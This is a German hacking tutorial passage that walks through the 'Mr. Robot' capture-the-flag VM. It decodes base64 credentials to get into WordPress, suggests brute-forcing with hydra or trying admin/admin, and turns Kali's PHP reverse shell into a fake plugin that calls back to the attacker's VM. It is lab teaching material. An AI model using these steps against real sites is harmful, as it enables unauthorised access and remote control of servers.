Hacken am Beispiel lernen: Programme geschickt austricksen

Seite 2: WordPress-Zugang knacken

Inhaltsverzeichnis

Nachdem Sie den Server ausgiebig ausgekundschaftet haben, fängt die zweite Phase des Hacks an: Nutzen Sie die gesammelten Informationen, um sich in den Server einzuloggen. Praktischerweise schenkt Ihnen "Mr. Robot" die Zugangsdaten. Richtig gelesen: In der Datei license.txt finden Sie am Ende die Zeile ZWxsaW90OkVSMjgtMDY1Mgo=.

Das Gleichheitszeichen am Ende verrät Ihnen, dass es sich wahrscheinlich um eine Base64-kodierte Zeichenfolge handelt. Auch hierfür gibt es einen Konsolenbefehl, mit dem Sie die Zeichen im Handumdrehen in Klartext umwandeln:

echo 'ZWxsaW90OkVSMjgtMDY1Mgo=' | base64 --decode

Das Ergebnis lautet "elliot:ER28-0652". Es könnte sich um einen Nutzernamen plus Passwort handeln.

Aber wozu passen die Zugangsdaten? Die URL-Scanner haben vorhin eine Login-Seite von WordPress gefunden (wp-login.php), also ist es naheliegend, die Zugangsdaten dort zuerst auszuprobieren. Und Bingo: Die Zugangsdaten werden akzeptiert und das Dashboard begrüßt Sie freundlich mit einem "Howdy, Elliot Alderson"– herzlichen Glückwunsch!

Es gibt übrigens noch einen anderen Weg, den WordPress-Zugang mit den bereits erbeuteten Informationen zu knacken. Das Passwort steht in der Datei fsocity.dic – gut versteckt zwischen mehr als 800.000 anderen Zeichenketten. Sie könnten diese als Passwörter ausprobieren, ohne sie von Hand ins Login-Formular kopieren zu müssen. Diese Arbeit können Sie dem Login-Cracker hydra überlassen, der die Liste nach und nach durchprobiert. Allerdings müssten Sie vorher ein Problem lösen: Wie lautet eigentlich der Benutzername? Im konkreten Fall hätten Sie leichtes Spiel, denn "elliot" ist der Hauptcharakter der Serie "Mr. Robot". Oft gibt es bei WordPress auch einen "admin"-Nutzer, manchmal sogar mit dem Passwort "admin".

Bei einer eilig aufgesetzten WordPress-Installation ist es durchaus möglich, mit "admin" als Benutzername und Passwort einen Glückstreffer zu landen.

Nach dem Einloggen ins WordPress-Dashboard finden Sie auf der linken Seite die Menüleiste. Darüber können Sie viele Unterbereiche aufrufen: Nutzerprofile, Bilder, Plug-ins, Kommentare und Tools. Es gibt ein paar gelöschte Posts und einen Kommentar, doch es scheint sich dort nichts Nützliches für einen Angriff zu verbergen: "Welcome to WordPress. This is your first post. Edit or delete it, then start writing!".

Außer Elliot gibt es eine weitere registrierte Person – seine Therapeutin Krista Gordon.

Die Nutzerprofile sind immer einen Blick wert, zum Beispiel um herauszufinden, wer welche Rechte besitzt. Klicken Sie dafür in der Menüleiste auf "User". Sie sind als "elliot" eingeloggt und genießen bereits die höchsten Privilegien, wie Sie an der Rolle "Administrator" erkennen können – mehr geht nicht.

Wenn Ihre Erkundung abgeschlossen ist, kann die nächste Phase des Hacks beginnen. Um tiefer ins Zielsystem einzudringen, brauchen Sie am besten direkten Zugriff darauf, zum Beispiel über eine Konsole (Shell). Da auf "Mr. Robot" eine WordPress-Installation läuft und Sie bereits Admin-Zugriff haben, können Sie dort beliebige WordPress-Plug-ins hochladen. Das können Sie ausnutzen, um eine Reverse-Shell einzuschleusen, die beliebige Befehle ausführt. Die nimmt später Kontakt mit Ihrer Kali-VM auf und wartet anschließend auf Ihre Eingaben.

Tief im Inneren der Schatzkiste von Kali liegen bereits ein paar vorbereitete Reverse-Shells, die sich fĂĽr Ihr Vorhaben eignen. Sie mĂĽssen diese nur noch geringfĂĽgig modifizieren, damit sie von WordPress als Plug-in akzeptiert werden. Mit dem Befehl

cp /usr/share/webshells/php/php-reverse-shell.php FakePlugin.php

kopieren Sie zunächst eine der Vorlagen als FakePlugin.php in das aktuelle Arbeitsverzeichnis. Bevor Sie das Plug-in hochladen können, müssen Sie zuvor noch ein paar Zeilen ergänzen und ändern. Das Fake-Plug-in können Sie in einem grafischen Texteditor bearbeiten, indem Sie den Befehl mousepad FakePlugin.php verwenden. Hartgesottene Hacker nutzen dafür den Editor vim auf dem Terminal.

Fügen Sie in der PHP-Datei direkt nach der ersten Zeile <?php folgenden Kommentar hinzu, welcher WordPress später vorgaukelt, es würde sich um ein Plug-in handeln:

<?php
/*
 Plugin Name: FakePlugin
 Plugin URI: www.FakePlugin.example
 Description: Best Backdoor ever
 Author: someone
 Version: 1.0
 Author URI: www.FakePlugin.example
*/
(...)

AnschlieĂźend scrollen Sie etwas herunter, bis Sie die Zeilen

$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

finden. Ersetzen Sie die angegebene IP-Adresse mit der Ihrer Kali-VM. Der Befehl ip address zeigt Ihnen die aktuelle Adresse unter "eth0" lila hervorgehoben an (10.10.1.2). Den Port können Sie beliebig ersetzen, zum Beispiel mit 87. Speichern Sie die Änderungen mit Strg+S oder "Datei/Speichern".

Da WordPress eine Zip-Datei erwartet, mĂĽssen Sie das Plug-in noch komprimieren. Der Befehl

zip FakePlugin.zip FakePlugin.php

kümmert sich darum. Kehren Sie zur WordPress-Oberfläche zurück. Klicken Sie im Menü auf "Plugins" und danach auf "Add New", zu guter Letzt rechts neben dem Titel auf "Upload Plugin". Hier können Sie über "Browse …" die Datei FakePlugin.zip auswählen und mit Klick auf "Öffnen" hochladen – aktivieren Sie sie aber nicht.